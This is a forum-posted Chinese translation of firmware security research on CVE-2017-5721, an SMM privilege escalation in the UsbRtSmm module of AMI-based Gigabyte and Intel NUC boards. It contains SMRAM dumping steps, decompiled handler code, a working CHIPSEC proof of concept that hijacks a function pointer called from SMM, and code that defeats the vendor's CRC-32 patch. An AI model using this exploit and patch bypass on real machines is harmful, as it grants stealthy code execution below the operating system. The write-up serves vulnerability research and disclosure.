1

[翻译]如何利用 Intel DAL、UEFITool、CHIPSEC 等工具检测CVE-2017-5721 SMM 提权漏洞

linso 2017-12-6 04:38 928


介绍

近年来,嵌入式软件安全已经成为一个炙手可热的话题,引起了全球各地安全研究人员的关注。但是,如果考虑到安全性,代码的质量还远远不够完美。例如,固件中的CVE-2017-5721 SMM权限提升漏洞可能会影响像宏碁,华擎,华硕,戴尔,惠普,技嘉,联想,微星,英特尔和富士通等供应商的产品。本文旨在介绍如何使用以下工具检测主板固件中的漏洞:

英特尔DAL

UEFITool

CHIPSEC

RWEverything

以及如何绕过修复此漏洞的修补程序。

对于需要一些背景信息的读者,这里是有用的附加材料列表:

Advancedx86:BIOS和SMM简介(John Butterworth)

培训:来自攻击者和防御者视角的BIOS / UEFI系统固件的安全性(Advanced Threat Research,McAfee / Intel)

2015年攻击和防御BIOS(Advanced Threat Research,McAfee / Intel)

UEFI固件Rootkit:神话与现实(Alex Matrosov和Eugene Rodionov)

有关CVE-2017-5721 SMM提权漏洞的信息,请访问以下链接:

https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00084&languageid=en-fr

第一步

展示台

为了展示,我们使用了搭配Intel Q170 Express芯片组的GA-Q170M-D3H主板。这一主板是这项研究的最佳选择,原因如下:

固件更新可用作二进制映像。所以,跟其他厂商的设备相比,用户不需要从.exe文件中提取固件部分。注意:在研究范围内,我们使用了最新的可用固件版本 - F22。

该固件基于主板和笔记本电脑用的AMI B制造商广泛使IOS Aptio V。

可以启用英特尔直接连接接口。

英特尔直接连接接口(Intel Direct Connect Interface,简称DCI)是一种技术,允许低级别的处理器轻易地进行调试。调试目标系统所需的唯一东西是英特尔Skylake处理器(第六代或更高版本)和USB 3.0调试电缆,当然还有主机和目标系统中的USB 3.0端口。要使用该界面进行操作,可以使用英特尔System Studio试用版的一部分中的英特尔DFx抽象层(DAL)应用程序。有关更多详细信息,请参阅“Intel DCI Secrets”。

还有必要在主板上安装一个CPU。在研究中使用的主板配备了英特尔酷睿i3-6320。当然,DRAM也需要安装。组装好的陈列架如下所示



正如你所看到的,我们已经解开了SPI闪存(存储主板的固件)并将其放入SOIC8适配器。因此,如果我们偶尔把系统刷成“砖”了,我们将能够使用硬件编程器恢复原始固件镜像。

在目标系统上启用Intel DCI

打开DCI有两种方法:第一种简单,另一种很难,这是很明显的。

简单的方法:启用英特尔DCI

如果您的系统基于芯片系统(SoC),则需要使用BIOS Setup(设置)启用DCI(参见图2)。


在BIOS设置中启用DCI

另一种选择是使用某些主板所具有的INTEL-SA-00073漏洞。此漏洞允许通过向内存写入一个字节来从目标平台启用DCI。

事实证明,GA-Q170M-D3H没有选项来启用BIOS设置中的DCI。在这种情况下,在系统正在运行时,值得使用PCH专用配置空间(参见图3)。

DCI控制寄存器(ECTRL) - 偏移量4h


使用PCH专用配置空间启用DCI

根据文档,DCI激活是通过切换ECTRL寄存器的第四位进行的。该位位于SBREG_BAR +(0xB8 << 0x10)+ 4的内存中。该展示台安装了Windows 10 Enterprise,这就是使用RW-Everything工具的原因。不幸的是,在第八位设为值1的时候,使用第四位不能启用DCI,.通过实际考虑,发现第八位代表“锁定”,这在系统运行期间阻碍了DCI的开户。尽管如此,如果系统寄存器是空的,可以毫无困难地启用调试接口(见图4)。



W-Everything工具

启用DCI

可以通过使用Intel Flash Image Tool更改BIOS或PCH straps(在固件镜像内)的默认设置来启用DCI。之后,需要重建镜像并将其刷到SPI闪存。

在这里,需要硬件程序员上传修改后的固件。可以通过使用网上下载的AMIBCP工具进行所需的更改。在BIOS设置中,该工具提供了更改用户隐藏的设置的默认值的机会。为此,打开AMIBCP实用程序中的“Q170MD3H.F22”文件,找到名称为“调试接口”和“直接连接接口”的控制组结构(见图5)。


AMIBCP实用程序

激活设置的过程归结为将“Failsafe”和“Optimal”更改为“Enabled”值。然后保存为一个新的固件镜像。这样一个修改后的固件就准备好了。剩下的唯一方法就是用一种方便的方式将这个新固件上传到SPI闪存中。最后,这样就可以启动调试了。

如果成功激活接口并启动目标系统,则在主机系统中会出现一个新的“Intel USB Native Debug Class Devices”设备



主机系统中出现了一个新的设备

研究的主要阶段

设置Intel DFx抽象层

默认的Intel DAL安装目录是“C:\ Intel \ DAL”。它包含“ConfigConsole.exe”工具。在“ConfigConsole.exe”中,由于目标平台由Skylake(SKL)和100系列芯片组(Sunrise Point,SPT)组成,因此需要指定相应的拓扑配置“SKL_SPT_OpenDCI_Dbc_Only_ReferenceSettings”。调试接口仅包含USB 3.0调试电缆,但需要设置Intel DAL,以使其只能使用JTAG引脚。否则,就无法停止处理器。英特尔®DAL支持启动脚本,如果在应用程序目录中创建了“dalstartup.py”文件,将会执行这些脚本。该脚本将在调试控制台启动时执行。

import itpii
itp = itpii.baseaccess()
# When running using JTAG Only Mode enabled, the PREQ, PRDY, DBR and RESET
# pins are considered off, and PowerGood is considered on. We also enable
# TAP based break detection, and and start to poll for probe mode entry.
# Triggered scans are disabled and memory scan delays are put into place.
itp.jtagonlymode(0, True)

在完成所有必要的操作之后,可以试试启动“PythonConsole.cmd”(可以看见:控制台被设计成一个python shell)并且在初始化之后暂停处理器内核,只是为了确保它是可以进行交互。

Registering MasterFrame...
Registered C:\Intel\DAL\MasterFrame.HostApplication.exe Successfully.
Using Intel DAL 1.9.9114.100 Built 3/29/2017 against rev ID 482226 [1714]
Using Python 2.7.12 (64bit), .NET 2.0.50727.8669, Python.NET 2.0.18, pyreadline 2.0.1
  DCI: Target connection has been established
  DCI: Transport has been detected
  Target Configuration: SKL_SPT_OpenDCI_Dbc_Only_ReferenceSettings
  Note: Target reset has occurred
  Note: Power Restore occurred
  Note: The ‘coregroupsactive’ control variable has been set to ‘GPC’
Using SKL_SPT_OpenDCI_Dbc_Only_ReferenceSettings
Successfully imported “C:\Intel\DAL\dalstartup”
>>? itp.halt()
  [SKL_C0_T0] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040
  [SKL_C0_T1] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040
  [SKL_C1_T0] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040
  [SKL_C1_T1] MWAIT C1 B break at 0x10:FFFFF80913FE1348 in task 0x0040
>>>

有关命令的更多信息,请阅读通过以下路径找到的英特尔指南:C:\Intel\DAL\Docs\PythonCLIUsersGuide.pdf

获取系统管理的RAM转储

SMRAM内存转储可以为UEFI BIOS中的漏洞检测提供大量有用的信息,因为大多数UEFI结构都具有唯一的签名,这使得内存取证成为可能。但是,具有较高权限的SMRAM内存范围受到保护,无法从操作系统访问。但是,如果可以使用处理器级别的调试器进行操作,则完全没有困难。

要dump SMRAM内存,我们需要知道它在哪里。在这里,CHIPSEC框架可能派上用场。由于其丰富的功能,该框架是硬件操作的完美选择。可以看出,下面的代码可以用来轻松获取SMRAM的地址范围:

In [5]: import chipsec.chipset

In [6]: cs = chipsec.chipset.cs()
  ...: cs.init(None, True, True)
  ...:
  
WARNING: *******************************************************************
WARNING: Chipsec should only be used on test systems!
WARNING: It should not be installed/deployed on production end-user systems.
WARNING: See WARNING.txt
WARNING: *******************************************************************

[CHIPSEC] API mode: using CHIPSEC kernel module API

In [7]: SMRAM = cs.cpu.get_SMRAM()

In [8]: hex(SMRAM[0])
Out[8]: ‘0xbd000000L’

In [9]: hex(SMRAM[1])
Out[9]: ‘0xbd7fffffL’

要通过DCI访问SMRAM,必须设置在SMM输入时的断点,然后通过写入端口0xb2模拟软件系统管理中断调用(SW SMI)。在调试控制台中,它看起来如下:

>>? itp.halt()
  [SKL_C0_T0] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040
  [SKL_C0_T1] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040
  [SKL_C1_T0] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040
  [SKL_C1_T1] MWAIT C1 B break at 0x10:FFFFF8055F1A1348 in task 0x0040
>>> itp.cv.smmentrybreak=1
>>> itp.threads[0].port(0xb2, 0)
>>> itp.go()
>>? [SKL_C0_T0] SMM Entry break at 0xC600:0000000000008000 in task 0x0040
  [SKL_C0_T1] SMM Entry break at 0xC680:0000000000008000 in task 0x0040
  [SKL_C1_T0] SMM Entry break at 0xC700:0000000000008000 in task 0x0040
  [SKL_C1_T1] SMM Entry break at 0xC780:0000000000008000 in task 0x0040
>>?

现在,在处理器进入SMM模式时,就可以访问受保护的内存了。

>>> itp.threads[0].memsave(‘smram.bin’, ‘0xbd000000P’, ‘0xbd7fffffP’, True)
  Due to the requested amount of memory (8388608 bytes), this command will take a while to execute.
  Due to the requested amount of memory (8388608 bytes), this command will take a while to execute.
>>>

所以,在“.bin”文件中记录完整的转储只需要几秒钟的时间。

我们可以使用smram_parse.py脚本来分析转储。这里感兴趣的是Software SMI处理程序,这是使用最广泛的UEFI BIOS攻击媒介。该脚本有助于获取与SW SMI处理程序相关的所有必要信息:

SW SMI HANDLERS:

0xbd465c10: SMI = 0x28, addr = 0xbd463a3c, image = PowerMgmtSmm
0xbd59dc10: SMI = 0x56, addr = 0xbd59bb14, image = CpuSpSMI
0xbd59db10: SMI = 0x57, addr = 0xbd59bc88, image = CpuSpSMI
0xbd541d10: SMI = 0x62, addr = 0xbd574004, image = GenericComponentSmmEntry *
0xbd541b10: SMI = 0x65, addr = 0xbd575024, image = GenericComponentSmmEntry *
0xbd541a10: SMI = 0x63, addr = 0xbd5753a0, image = GenericComponentSmmEntry *
0xbd541910: SMI = 0x64, addr = 0xbd575a18, image = GenericComponentSmmEntry *
0xbd541810: SMI = 0xb2, addr = 0xbd575fa4, image = GenericComponentSmmEntry *
0xbd541110: SMI = 0xb0, addr = 0xbd537c28, image = NbSmi *
0xbd542910: SMI = 0xbb, addr = 0xbd52ed04, image = SbRunSmm
0xbd542210: SMI = 0xa0, addr = 0xbd525ce4, image = AcpiModeEnable
0xbd542010: SMI = 0xa1, addr = 0xbd525dd0, image = AcpiModeEnable
0xbd524b10: SMI = 0x55, addr = 0xbd5114d0, image = SmramSaveInfoHandlerSmm
0xbd4e6a10: SMI = 0x43, addr = 0xbd4e5360, image = AhciInt13Smm *
0xbd4e6810: SMI = 0x44, addr = 0xbd4e07bc, image = MicrocodeUpdate *
0xbd4e6610: SMI = 0x41, addr = 0xbd4dc9b8, image = OA3_SMM *
0xbd4e6510: SMI = 0xdf, addr = 0xbd4dab54, image = OA3_SMM
0xbd4e6410: SMI = 0xef, addr = 0xbd4d89e0, image = SmiVariable
0xbd4e6310: SMI = 0x90, addr = 0xbd4d42dc, image = BiosDataRecordSmi *
0xbd4cec10: SMI = 0x61, addr = 0xbd4cfde0, image = CmosSmm
0xbd4ce510: SMI = 0x42, addr = 0xbd4c4cd0, image = NvmeSmm
0xbd4ce110: SMI = 0x26, addr = 0xbd4ac32c, image = Ofbd *
0xbd497c10: SMI = 0x20, addr = 0xbd4929bc, image = SmiFlash *
0xbd497b10: SMI = 0x21, addr = 0xbd4929bc, image = SmiFlash *
0xbd497a10: SMI = 0x22, addr = 0xbd4929bc, image = SmiFlash *
0xbd497910: SMI = 0x23, addr = 0xbd4929bc, image = SmiFlash *
0xbd497810: SMI = 0x24, addr = 0xbd4929bc, image = SmiFlash *
0xbd497710: SMI = 0x25, addr = 0xbd4929bc, image = SmiFlash *
0xbd497410: SMI = 0x35, addr = 0xbd48fe24, image = TcgSmm
0xbd472f10: SMI = 0x31, addr = 0xbd474ca8, image = UsbRtSmm
0xbd472b10: SMI = 0xbf, addr = 0xbd46ea48, image = CrbSmi
0xbd472710: SMI = 0x01, addr = 0xbd46d5e0, image = PiSmmCommunicationSmm
0xbd472010: SMI = 0x50, addr = 0xbd4671d4, image = SmbiosDmiEdit
0xbd465f10: SMI = 0x51, addr = 0xbd4671d4, image = SmbiosDmiEdit
0xbd465e10: SMI = 0x52, addr = 0xbd4671d4, image = SmbiosDmiEdit
0xbd465d10: SMI = 0x53, addr = 0xbd4671d4, image = SmbiosDmiEdit

脚本提供的数据也可用于查找加载的SMM驱动程序的内存地址。有了这些信息,我们可以对上面提到的固件模块进行逆向工程。

检测软件SMI处理程序漏洞

根据“smram_parse.py”编译的报告,UsbRtSmm模块包含SW SMI处理程序#0x31的实现。在这种情况下,可以使用UEFITool工具来提取UsbRtSmm的主体。


提取UsbRtSmm主体


对于IDA Pro,通过使用ida-efitools脚本可以节省很多时间,这个脚本有助于反向工程UEFI固件。该脚本将尝试自动定义所有使用的UEFI结构,并将其标记为idb。UsbRtSmm模块位于0xBD473000,SW SMI处理程序(又名DispatchFunction)位于0xbd474ca8。DispatchFunction的分析提供了以下信息:

__int64 DispatchFunction()
{
 __int64 v0; // rbx@1
 unsigned __int8 *v1; // rdi@1
 unsigned __int8 v2; // al@7
 v0 = qword_BD48B460;
 v1 = *(unsigned __int8 **)(qword_BD48B460 + 30392);
 if ( v1 )
 {
  *(_QWORD *)(qword_BD48B460 + 30392) = 0i64;
 }
 else
 {
  if ( *(_BYTE *)(qword_BD48B460 + 8) & 0x10 )
   return 0i64;
  v1 = (unsigned __int8 *)*(_DWORD *)(16 * (unsigned int)v40E + 260);
  if ( sub_BD48AE24((__int64)v1) < 0 )
   return 0i64;
  *(_BYTE *)(v0 + 31477) = 1;
 }
 if ( !v1 )
  return 0i64;
 v2 = *v1;
 if ( !*v1 )
  goto LABEL_11;
 if ( v2 >= 0x20u && v2 <= 0x38u )
 {
  v2 -= 31;
  LABEL_11:
  ((void (__fastcall *)(unsigned __int8 *))off_BD473E30[(unsigned __int64)v2])(v1);
  v0 = qword_BD48B460;
 }
 if ( !*(_QWORD *)(v0 + 30392) )
  *(_BYTE *)(v0 + 31477) = 0;
 return 0i64;
}

显而易见,DispatchFunction使用qword_BD48B460指针进行操作,在静态分析期间其值是未知的。另外,还有一些参与逻辑的结构。指向结构的指针可以通过计算[16 * [0x40e] + 260]找到。0x40e内存地址(扩展BIOS数据区的存储段地址)可以由具有内核级权限的用户轻松控制。总而言之,结构可以被描述为用户控制的输入。sub_BD48AE24函数检查获取的指针是否拦截SMRAM区域,如果指针确实存在,则从处理程序中退出。还可以看出,获得的结构的第一个字节是一个被称为子函数的数字。这些子功能的总量等于24.其中最有趣的是子功能14,位于0xBD4760AC(为便于分析,我们称之为subfunc_14):

int __fastcall subfunc_14(__int64 a1)
{
 __int64 v2; // rax@1
 
 LODWORD(v2) = sub_BD475F9C(
   *(200 * ((*(a1 + 11) - 16) >> 4) + qword_BD48B460 + 112 + 8i64 * *(a1 + 1) + 8),
   *(a1 + 3),
   (*(a1 + 15) + 3) & 0xFFFFFFFC);
 *(a1 + 2) = 0;
 *(a1 + 19) = v2;
 return v2;
}

qword_BD48B460也出现在这里,它被用来获取与它有关的另一个指针。之后,获取的指针被传送到sub_BD475F9C功能。

int __fastcall sub_BD475F9C(int (__fastcall *a1)(_QWORD, _QWORD, _QWORD), _QWORD *a2, unsigned int a3)
{ 
 ... 
 v3 = a3 >> 3;
 if ( v3 )
 {
  v4 = v3 - 1;
  if ( v4 )
  {
   v5 = v4 - 1;
   if ( v5 )
   { ... }
   else
   { result = (a1)(*a2, a2[1]); }
  } 
  else
  { result = (a1)(*a2); }
 }
 else
 { result = (a1)(); }
 return result;

这里是驱动程序开发者的“little something”:函数调用另一个指针指向的地方。结果是它可以发送多达7个参数!是否可以控制指针呢?在subfunc_14中,指针是根qword_BD48B460来计算的。动态分析授予的好处有助于学习函数的内容:

>>? itp.halt()
  [SKL_C0_T0] MWAIT C1 B break at 0x10:FFFFF80DCAA31348 in task 0x0040
  [SKL_C0_T1] Halt Command break at 0x33:00007FFA8EBB5F84 in task 0x0040
  [SKL_C1_T0] MWAIT C1 B break at 0x10:FFFFF80DCAA31348 in task 0x0040
  [SKL_C1_T1] MWAIT C1 B break at 0x10:FFFFF80DCAA31348 in task 0x0040
>>> itp.cv.smmentrybreak=1
>>> itp.threads[0].port(0xb2, 0x31) # call SW SMI #0x31
>>> itp.go()
>>? [SKL_C0_T0] SMM Entry break at 0xC600:0000000000008000 in task 0x0040
  [SKL_C0_T1] SMM Entry break at 0xC680:0000000000008000 in task 0x0040
  [SKL_C1_T0] SMM Entry break at 0xC700:0000000000008000 in task 0x0040
  [SKL_C1_T1] SMM Entry break at 0xC780:0000000000008000 in task 0x0040
>>?
>>> itp.threads[0].br(None, ‘0xbd474ca8L’, ‘exe’) # set breakpoint on execution at DispatchFunction
>>> itp.threads[0].go()
>>? [SKL_C0_T0] Debug register break on instruction execution only at 0x38:00000000BD474CA8 in task 0x0040
  [SKL_C0_T1] BreakAll break at 0x38:00000000BD7DC838 in task 0x0040
  [SKL_C1_T0] BreakAll break at 0x38:00000000BD7DC834 in task 0x0040
  [SKL_C1_T1] BreakAll break at 0x38:00000000BD7DC834 in task 0x0040
>>?
>>> itp.threads[0].asm(‘$’, 5) # show disassembly listing
0x38:00000000BD474CA8 48895c2408 mov qword ptr [rsp + 0x08], rbx
0x38:00000000BD474CAD 57 push rdi
0x38:00000000BD474CAE 4883ec20 sub rsp, 0x20
0x38:00000000BD474CB2 488b1d574883ec mov rbx, qword ptr [rip - 0x137cb7a9]
0x38:00000000BD474CB9 488bbbb8760000 mov rdi, qword ptr [rbx + 0x000076b8]

>>> itp.threads[0].step(None, 4) # step 4 times
  [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CAD in task 0x0040
  [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CAE in task 0x0040
  [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CB2 in task 0x0040
  [SKL_C0_T0] Single STEP break at 0x38:00000000BD474CB9 in task 0x0040
  
>>> itp.threads[0].display(‘rbx’) # rbx contains value of ‘qword_BD48B460’
rbx = 0x00000000bcee9000
rbx.ebx = 0xbcee9000
rbx.ebx.bx = 0x9000
rbx.ebx.bx.bl = 0x00
rbx.ebx.bx.bh = 0x90

所以,驱动程序使用等于0xbcee9000的指针进行操作。但是不是属于SMM的内存呢?

SMRAM覆盖范围从0xbd000000到0xbd7fffff。换句话说,0xbcee9000的内存不受保护。考虑到驱动程序允许调用存储在临时存储器中的指针,有机会在SMM的上下文中执行任意代码执行。

为了完整起见,有必要确定如何从OS计算0xbcee9000地址。通过分析xrefs到qword_BD48B460,可以找到这些值分配的确切位置:

if ( (gEfiBootServices_4->LocateProtocol(&EFI_USB_PROTOCOL_GUID, 0i64, &EfiUsbProtocol) &
0x8000000000000000ui64) == 0i64 )
{
  qword_BD48B460 = *(EfiUsbProtocol + 8);
  *(EfiUsbProtocol + 0x50) = sub_BD4759E8;
  *(EfiUsbProtocol + 0x58) = sub_BD475CCC;
  *(EfiUsbProtocol + 0x60) = sub_BD475D74;

问题中的指针(也就是usb_data)存储在EFI_USB_PROTOCOL协议中。因此,我们需要了解是模块的注册内容。在UEFITool的GUID {2ad8e2d2-2e91-4cd1-95f5-e78fe5ebe316}的帮助下,我们可以找到具有以下代码段的Uhcd(通用主机控制器驱动器)模块:

LODWORD(usb_protocol) = sub_6088(0x90i64, 0x10i64);
*(_QWORD *)(usb_protocol + 8) = usb_data;
qword_CB58 = usb_protocol;
*(_QWORD *)(usb_protocol + 16) = sub_30B4;
*(_DWORD *)usb_protocol = ‘PBSU’;
*(_QWORD *)(usb_protocol + 24) = sub_2E40;
*(_QWORD *)(usb_protocol + 32) = sub_2FC8;
*(_QWORD *)(usb_protocol + 40) = sub_350C;
*(_QWORD *)(usb_protocol + 48) = sub_3524;
*(_QWORD *)(usb_protocol + 56) = sub_3524;
*(_QWORD *)(usb_protocol + 64) = sub_3524;
*(_QWORD *)(usb_protocol + 72) = sub_6448;
*(_QWORD *)(usb_protocol + 104) = sub_31F8;
*(_QWORD *)(usb_protocol + 112) = sub_63AC;
*(_QWORD *)(usb_protocol + 120) = sub_3238;
gEfiBootServices_0->InstallProtocolInterface(&v25, &EFI_USB_PROTOCOL_GUID, 0, (void *)usb_protocol);

EFI_USB_PROTOCOL结构具有零偏移量的USBP签名。sub_6088功能有助于确定结构的确切位置。

gEfiBootServices_0->AllocatePages(AllocateMaxAddress, EfiRuntimeServicesData, 0x11ui64, &Memory)

另一个来自开发者的“little something” 是EfiRuntimeServicesData类型分配内存的结构,这意味着该结构超出了SMRAM区域。更准确地说,它位于比SMRAM低的位置,由分配类型等于AllocateMaxAddress所承载。并且EFI_USB_PROTOCOL结构地址将与PAGE_SIZE(0x1000)对齐。

通过使用CHIPSEC收集所有需要的与漏洞相关的信息,可以编写一个简单的概念证明,将机器检查异常卡住系统。

from struct import pack, unpack

import chipsec.chipset
from chipsec.hal.interrupts import Interrupts

PAGE_SIZE = 0x1000
SMI_USB_RUNTIME = 0x31

cs = chipsec.chipset.cs()
cs.init(None, True, True)

intr = Interrupts(cs)
SMRAM = cs.cpu.get_SMRAM()[0]

mem_read = cs.helper.read_physical_mem
mem_write = cs.helper.write_physical_mem
mem_alloc = cs.helper.alloc_physical_mem

# locate EFI_USB_PROTOCOL and usb_data in the memory
for addr in xrange(SMRAM / PAGE_SIZE - 1, 0, -1):
  if mem_read(addr * PAGE_SIZE, 4) == ‘USBP’:
    usb_protocol = addr * PAGE_SIZE
    usb_data = unpack(“<Q”, mem_read(addr * PAGE_SIZE + 8, 8))[0]
    break

assert usb_protocol != 0, “can’t find EFI_USB_PROTOCOL structure”
assert usb_data != 0, “usb_data pointer is empty”
 
# prepare our structure
struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]

mem_write(struct_addr, PAGE_SIZE, ‘\x00’ * PAGE_SIZE) # clean the structure
mem_write(struct_addr + 0x0, 1, ‘\x2d’) # subfunction number
mem_write(struct_addr + 0xb, 1, ‘\x10’) # arithmetic adjustment

# store the pointer to the structure in the EBDA
ebda_addr = unpack(‘<H’, mem_read(0x40e, 2))[0] * 0x10
mem_write(ebda_addr + 0x104, 4, pack(‘<I’, struct_addr))

# replace the pointer in the usb_data
bad_ptr = 0xbaddad
func_offset = 0x78
mem_write(usb_data + func_offset, 8, pack(‘<Q’, bad_ptr))

# allow to read the pointer from EBDA
x = ord(mem_read(usb_data + 0x8, 1)) & ~0x10
mem_write(usb_data + 0x8, 1, chr(x))

# stuck it!
intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

正如下面可以看到的那样,确实是在调用一个使系统卡住的错误地址。

>>> itp.cv.smmentrybreak=1
>>> itp.go()
>>? # running PoC on the target system...
>>? [SKL_C0_T0] SMM Entry break at 0xC600:0000000000008000 in task 0x0040
  [SKL_C0_T1] SMM Entry break at 0xC680:0000000000008000 in task 0x0040
  [SKL_C1_T0] SMM Entry break at 0xC700:0000000000008000 in task 0x0040
  [SKL_C1_T1] SMM Entry break at 0xC780:0000000000008000 in task 0x0040
>>?
>>> itp.cv.machinecheckbreak=1
>>> itp.go()
>>? [SKL_C0_T0] Machine Check break at 0x38:0000000000BADDAD in task 0x0040
  [SKL_C0_T1] Machine Check break at 0x38:00000000BD7DC834 in task 0x0040
  [SKL_C1_T0] Machine Check break at 0x38:00000000BD7DC834 in task 0x0040
  [SKL_C1_T1] Machine Check break at 0x38:00000000BD7DC834 in task 0x0040
>>?

机器检查异常发生时,第一个线程跳转到0xBADDAD - 在概念验证中指定的地址。

影响和后果

尽管特定主板中的漏洞带来了一定的威胁,但不像不同厂商生产的不同主板一样,这种漏洞通常也不是那么重要。因此,有必要定义其他供应商是否在其硬件产品中使用相同的模块。没有必要检查其他固件来执行此操作:来自efi-whitelist存储库的数据就足够了。简单的列表搜索显示所有供应商都使用易受攻击的模块。此外,根据我们收集的数据,技嘉,华硕和戴尔也很脆弱。英特尔固件在这里最具有关联性,因为英特尔比其他设备更关心其设备的安全性。

我们已经做了一个特殊的展示台,并研究了基于Kaby Lake的英特尔NUC Kit NUC7i3BNH,看看英特尔的固件是否包含这个漏洞


展示台

利用英特尔NUC套件

目前,最新的固件版本是0048。在提取UsbRtSmm模块后,我们可以分析DispatchFunction。将模块与GA-Q170M-D3H中的模块进行比较,可以得出结论,开发路径几乎是相同的,但有一个例外:在DispatchFunction的开头有以下代码:

if ( byte_1B158 == 1 )
  return 0i64;
if ( sub_1A80C(usb_data) < 0 )
{
  byte_1B159 = 1;
  byte_1B158 = 1;
  return 0i64;
}

它看起来像是一种修复,但是我们不要让它们走开。首先,我们需要确定byte_1B158在什么情况下取值1.排除sub_1A80C提供否定结果后byte_1B158等于1的情况,很显然sub_5EEC无条件地执行。sub_5EEC的单个外部参照指向以下功能:

当调用一个未知的EFI_ACPI_EN_DISPATCH_PROTOCOL方法时,该函数作为参数发送,这似乎是一个回调。换句话说,如果发生某个事件,则会调用sub_EEC函数。但是这个事件是什么?搜索GUID {bd88ec68-ebe4-4f7b-935a-4f666642e75f}显示协议在AcpiModeEnable模块中实现。这个名字是不言而喻的,不是吗?没有必要去研究它 - 很明显,当系统跳入ACPI模式时,调用sub_5EEC。

不幸的是,在这种情况下,利用Windows 10系统中的漏洞将更加困难,因为从Vista开始,Windows操作系统驱动程序只能在ACPI模式下工作。Linux,我们求求你,来救我们!使用Ubuntu 16.10 AMD64,我们可以在非ACPI模式下加载系统。为此,我们将acpi = off添加到GRUB_CMDLINE_LINUX_DEFAULT参数。之后,系统将在没有ACPI支持的情况下加载。

剩下的唯一的事情就是学习sub_1A80C函数检查什么。在研究这个函数的时候,肯定会验证usb_data结构。检查算法是相当大的,但我们唯一感兴趣的检查是usb_data + 0x78地址检查,这可以在包含以下代码段的sub_1A2D0函数中看到:

int __fastcall sub_5F1C(EFI_GUID *Protocol, void *Interface, EFI_HANDLE Handle)
{
  signed __int64 v3; // rax@1
  char v5; // [sp+20h] [bp-18h]@2
  void *acpi_en_dispatch; // [sp+58h] [bp+20h]@1
  
  v3 = Smst->SmmLocateProtocol(&EFI_ACPI_EN_DISPATCH_PROTOCOL_GUID, 0i64, &acpi_en_dispatch);
  if ( v3 >= 0 )
    LODWORD(v3) = (*acpi_en_dispatch)(acpi_en_dispatch, sub_5EEC, &v5);
  return v3;

我们需要的指针被复制到内部缓冲区。之后,我们可以在函数的最后看到下面的代码:

calculate_crc32(&buffer, 0x7A0ui64, &crc_array[2]);
calculate_crc32(crc_array, 0xCui64, crc_out);

找到GA-Q170M-D3H中利用的漏洞修复。当系统加载时,正在计算和保存usb_data结构存储区的一部分的CRC-32散列。当SW SMI被调用时,散列被重新计算。如果结果不匹配,则停止执行,并且将禁止进一步尝试执行处理程序代码。

也许,这个修复方式确实可以防止漏洞利用,但是有一点“but”:验证算法在很大程度上依赖于CRC-32算法的加密强度接近零。为了欺骗CRC-32哈希,只需使用Project Nayuki的python脚本,我们可以简单地改正我们感兴趣的数据之后的4个连续字节。唯一需要的是使其功能适应缓冲区而不是文件。

考虑到CRC-32散列保存,我们可以像这样修改指针:

bad_ptr = 0xbaddad
buf_size = 0x10

buffer = mem_read(usb_data + 0x70, buf_size)
crc32 = get_buffer_crc32(buffer)

# replace the pointer (usb_data + 0x78)
buffer = buffer[0:8] + pack(‘<Q’, bad_ptr)

# spoofing crc32, first 4 bytes will be modified
buffer = modify_buffer_crc32(buffer, 0, crc32)

mem_write(usb_data + 0x70, buf_size, buffer)

但是,与GA-Q170M-D3H相反,使用Intel NUC7i3BNH时会出现错误:

AssertionError: usb_data pointer is empty

如果我们返回到Uhcd模块(这次是NUC7i3BNH固件),我们可以看到其中一个功能是这样的:

EFI_STATUS __fastcall sub_2CB0(void *a1)
{
  *(_QWORD *)(usb_protocol + 8) = 0i64;
  return gEfiBootServices_0->CloseEvent(a1);
}

它看起来像是一种缓存。现在,usb_data结构地址应该以另一种方式定义。回到usb_data和usb_protocol结构分配发生的地方,很清楚的是在这两种情况下调用了sub_64D4函数。该函数将内存分配大小和地址对齐作为参数。回顾一下函数,我们发现当第一次调用函数时,通过EFI_BOOT_SERVICES.AllocatePages发生一次内存分配。而且,总共同时分配了0x11页的内存。进一步的调用将这个分配分成几块,根据对齐。结合内存分配,这种行为提供了根据usb_protocol的地址来定位usb_data结构地址的机会。首先分配的是usb_data(0x7AC8字节)。之后,分配需要0x1000字节对齐的0x8000字节的未知存储空间。最后,usb_protocol获取其分配的内存(0x90字节,对齐为0x10)。因此,可以从usb_protocol地址中减去0x10000来学习usb_data地址结构。这是我们的概念证明的最后一招。

assert usb_protocol != 0, “can’t find EFI_USB_PROTOCOL structure”

if usb_data == 0:
  usb_data = usb_protocol - 0x10000

请参阅完整的概念证明:


UsbRt SMM提权

结论

我们已经设法检测到一个高度严重的漏洞,并允许权限提升到系统管理模式。这个漏洞在很多平台上都很常见,因为它是包含它的UsbRtSmm模块。尽管有一些例外,即使最新的英特尔器件也容易受到这种威胁。此外,我们描述了绕过由CRC-32哈希和伪随机授予的“robust protection”的过程。由于英特尔发布固件更新,指定其更新日志中的安全修复程序,因此可以使用其他供应商固件中的固件模块进行二进制比较。


原文UEFI BIOS holes. So Much Magic. Don’t Come Inside.

最新回复 (2)
聖blue 2017-12-6 20:22
2
          不错!!
ielts 2017-12-9 11:07
3
    不错!!
返回